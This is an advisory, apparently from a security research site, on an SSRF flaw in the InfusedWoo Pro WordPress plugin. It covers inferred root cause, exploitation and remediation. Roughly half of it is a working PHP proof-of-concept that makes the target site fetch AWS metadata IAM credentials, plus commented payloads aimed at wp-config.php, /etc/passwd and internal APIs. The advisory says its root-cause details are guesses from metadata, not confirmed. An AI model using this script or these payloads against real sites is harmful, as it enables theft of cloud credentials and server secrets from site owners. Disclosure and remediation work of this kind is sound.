Atomic Edge analysis of CVE-2026-6514 (metadata-based):
This vulnerability affects the InfusedWoo Pro plugin for WordPress versions up to and including 5.1.2. It allows unauthenticated attackers to perform Server-Side Request Forgery (SSRF) through the plugin’s AJAX action ‘popup_submit’. The vulnerability carries a CVSS score of 7.5 (High) due to network-based exploitation without authentication or user interaction, exposing high-impact confidentiality risks.
The root cause is a missing or insufficient server-side URL validation in the ‘popup_submit’ AJAX handler. Based on the SSFR CWE classification and the description mentioning an ‘url’ parameter, Atomic Edge analysis infers that the plugin accepts a user-supplied URL via the AJAX request and makes HTTP requests to that URL without proper validation. Common flawed implementations include using WordPress’s wp_remote_get() or a cURL call directly on the ‘url’ parameter without checking the scheme, host, or port against an allowlist. No code diff is available, so these root cause details are inferred rather than confirmed.
Exploitation requires sending a POST request to /wp-admin/admin-ajax.php with action parameter set to ‘popup_submit’ and an ‘url’ parameter containing the attacker’s target. The attacker can target internal services by specifying private IP addresses (10.x.x.x, 172.16-31.x.x, 192.168.x.x) or hostnames that resolve to internal networks. For example, an attacker could target http://169.254.169.254/latest/meta-data/ to read cloud instance metadata on AWS. The attacker can also scan internal ports by varying the URL path and observing response times or error messages.
Remediation requires implementing strict URL validation in the vulnerable handler. The plugin should define an allowlist of permitted domains or URL patterns. All requests should validate the URL against this allowlist before proceeding. The plugin should also use WordPress’s built-in HTTP API with proper blocking of private IP ranges, or implement its own IP address validation to prevent requests to internal networks. Input sanitization alone is insufficient for SSRF; the plugin must actively block requests to RFC 1918 and loopback addresses.
Successful exploitation allows an attacker to read sensitive data from internal services that are not intended to be exposed externally. This includes cloud metadata (IAM credentials, instance data), internal application configuration files, database credentials from internal management panels, and source code from internal repositories. While the CVSS score indicates confidentiality impact only, the attacker could potentially chain this with other vulnerabilities to escalate to full server compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6514 - InfusedWoo Pro <= 5.1.2 - Unauthenticated Arbitrary File Read via 'url' Parameter
/**
* This proof of concept demonstrates SSRF exploitation against InfusedWoo Pro plugin.
* The plugin's 'popup_submit' AJAX handler accepts a 'url' parameter
* and makes requests to attacker-controlled destinations.
*
* Assumptions based on CVE metadata:
* - AJAX action name is likely 'popup_submit' (from the description)
* - The 'url' parameter is used as the request target
* - No authentication required
* - No nonce verification (typical for unauthenticated exploits)
*/
$target_url = 'http://example.com'; // Change to the WordPress installation URL
$attack_url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/admin'; // Example: AWS metadata endpoint
$ajax_endpoint = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Prepare POST data
$post_data = array(
'action' => 'popup_submit',
'url' => $attack_url
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_endpoint);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
// Disable SSL verification for testing (remove in production)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Timeout to avoid hanging
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "[!] cURL Error: $errorn";
exit(1);
}
echo "[+] HTTP Status Code: $http_coden";
echo "[+] Response Body:n";
echo $response . "n";
// Alternative payloads to try:
// $attack_url = 'http://127.0.0.1/wp-admin/admin-ajax.php?action=some_internal_action';
// $attack_url = 'http://localhost/wp-config.php';
// $attack_url = 'file:///etc/passwd' (if local file inclusion allowed)
// $attack_url = 'http://10.0.0.1:8080/internal-api';
?>
